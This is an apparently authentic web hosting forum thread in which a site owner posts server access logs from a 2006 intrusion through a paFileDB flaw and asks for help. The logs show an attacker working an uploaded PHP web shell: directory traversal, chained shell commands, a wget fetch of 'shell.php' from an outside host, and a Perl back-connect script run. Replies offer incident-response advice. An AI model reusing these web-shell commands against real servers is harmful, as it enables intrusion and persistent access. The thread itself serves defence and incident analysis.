    62.150.40.142 - - [12/Dec/2006:15:54:50 +0000] "GET /downloads/uploads/nfm.php?cm=cd+%5C HTTP/1.1" 200 12224 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=pwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:54:55 +0000] "GET /downloads/uploads/nfm.php?cm=pwd HTTP/1.1" 200 12318 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+%5C" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:55:04 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%3Bpwd HTTP/1.1" 200 12308 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=pwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:55:11 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%3Bpwd HTTP/1.1" 200 12308 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%3Bpwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:55:16 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%3Bpwd HTTP/1.1" 200 12308 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%3Bpwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:55:23 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bpwd HTTP/1.1" 200 12292 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%3Bpwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:55:37 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bpwd HTTP/1.1" 200 12271 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bpwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:55:54 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bpwd%3Bls+-la HTTP/1.1" 200 12278 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bpwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:56:08 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bls HTTP/1.1" 200 12234 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bpwd%3Bls+-la" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:56:18 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bdir HTTP/1.1" 200 12235 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bls" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:56:24 +0000] "GET /downloads/uploads/nfm.php?cm=dir HTTP/1.1" 200 12282 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bdir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:56:29 +0000] "GET /downloads/uploads/nfm.php?cm=ls+-ls HTTP/1.1" 200 12519 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=dir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:56:33 +0000] "GET /downloads/uploads/nfm.php?cm=ls+-la HTTP/1.1" 200 12626 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=ls+-ls" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:56:52 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bdir HTTP/1.1" 200 12235 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=ls+-la" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:56:58 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bpwd HTTP/1.1" 200 12271 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bdir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:57:40 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bdir HTTP/1.1" 200 12721 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F..%2F%3Bpwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:57:56 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bpwd HTTP/1.1" 200 12292 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bdir" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:58:23 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bpwd%3Bwget+http%3A%2F%2Fmisc.ho.com.ua%2Fshell.php HTTP/1.1" 200 12329 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bpwd" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:58:32 +0000] "GET /downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bls HTTP/1.1" 200 12764 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bpwd%3Bwget+http%3A%2F%2Fmisc.ho.com.ua%2Fshell.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:58:48 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 21673 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=cd+..%2F..%2F%3Bls" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:58:53 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=delete HTTP/1.1" 200 19452 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:15:59:05 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=delete HTTP/1.1" 200 19452 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    62.150.40.142 - - [12/Dec/2006:16:04:45 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19172 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?cm=perl+%2Fhome%2Fmydomainname%2Fpublic_html%2Fdownloads%2Fuploads%2Fdc.pl+www.mydomainname.co.uk+23" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    89.37.28.2 - - [12/Dec/2006:16:37:48 +0000] "GET /downloads/uploads/nfm.php HTTP/1.0" 200 19128 "http://www.mydomainname.co.uk/downloads/index.php?act=download&id=12" "Opera/9.02 (Windows NT 5.1; U; en)"
    82.137.247.131 - - [12/Dec/2006:23:49:22 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=delete HTTP/1.1" 200 19453 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    82.137.247.131 - - [12/Dec/2006:23:49:30 +0000] "GET /downloads/uploads/nfm.php HTTP/1.1" 200 19173 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/uploads&fi=dc.pl&action=delete" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    82.137.247.131 - - [12/Dec/2006:23:49:43 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/ HTTP/1.1" 200 23654 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    82.137.247.131 - - [12/Dec/2006:23:49:47 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/ HTTP/1.1" 200 55262 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/downloads/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    82.137.247.131 - - [12/Dec/2006:23:49:50 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums HTTP/1.1" 200 54641 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    82.137.247.131 - - [12/Dec/2006:23:50:00 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/cache HTTP/1.1" 200 22871 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    82.137.247.131 - - [12/Dec/2006:23:50:08 +0000] "GET /downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/cache&fi=title.php&action=delete HTTP/1.1" 200 20658 "http://www.mydomainname.co.uk/downloads/uploads/nfm.php?tm=/home/mydomainname/public_html//forums/cache" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)"
    The hacker found a vulnerability in a script by phparena.net, called paFileDB, a downloads management system. They uploaded a script called nfm.php, which had literally tons of features, though all in Russian so I have no idea what it says, but I can work out it's executing various commands and fetching various files, plus giving lots of variable information from config php files.

    It seems they were able to download a sql dump of the forum database, they also added an index.htm page to the forums, though nobody saw the defacement since I have an .htaccess telling it to load index.php before it looks for .htm
    It's not something I care about much as the forums havent been posted in since February, it's whether anything else on the server has been compromised that's worrying me.

    Thanks for any pointers.
    Last edited by Chris_JP; 12-12-2006 at 09:38 PM.

  3. #3
    Join Date
    Apr 2005
    Location
    San Francisco, CA
    Posts
    1,029
    It's time to hire a pro to test and secure your server - stop playing around with "in forum advises" - check rack911.com

  4. #4
    Join Date
    Jul 2004
    Location
    Texas
    Posts
    687
    I agree with steven-v, if you're really worried, you need to hire a professional, and fast also. They might have root access, i see they were using wget to download "shell.php" so i would change your root pass asap.

  5. #5
    Join Date
    Mar 2006
    Location
    New York USA
    Posts
    402
    Chances are if they already used wget they probably have a backdoor on your system. Hire a pro, and get it straight fast.

  6. #6
    same happened to me:

    http://www.webhostingtalk.com/showthread.php?t=568601

    things to do:

    first, fix the script exploit, they have a fix for it at the scripts site....

    then

    1- change all passwords, including databse users...
    2- do a search to find any php files that have been changed or accessed in the last (since the attack)...because the chances are they have uploaded the same php script, maybe in a different name, to all the writable directories. that means that they can still attack by just simply calling these scripts from a browser
    3- if you run a dedicated, or vps, they have also uploaded this script to writable directories on all the other domains, so check all domains...by using find / and searching through all dorectories on /home
    4- get and run chkroot program
    5- monitor your logs closely in the next couple of days

    hope this helps....

  7. #7
    Join Date
    Jul 2004
    Location
    Texas
    Posts
    687
    Quote Originally Posted by thedark1
    same happened to me:

    http://www.webhostingtalk.com/showthread.php?t=568601

    things to do:

    first, fix the script exploit, they have a fix for it at the scripts site....

    then

    1- change all passwords, including databse users...
    2- do a search to find any php files that have been changed or accessed in the last (since the attack)...because the chances are they have uploaded the same php script, maybe in a different name, to all the writable directories. that means that they can still attack by just simply calling these scripts from a browser
    3- if you run a dedicated, or vps, they have also uploaded this script to writable directories on all the other domains, so check all domains...by using find / and searching through all dorectories on /home
    4- get and run chkroot program
    5- monitor your logs closely in the next couple of days

    hope this helps....
    That isn't guaranteed that it got rid of the hackers.. they may still have root access by having already gained root and may have a hidden binary in /tmp or something similar to that. It is still recommended that you hire a system admin to check your system.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •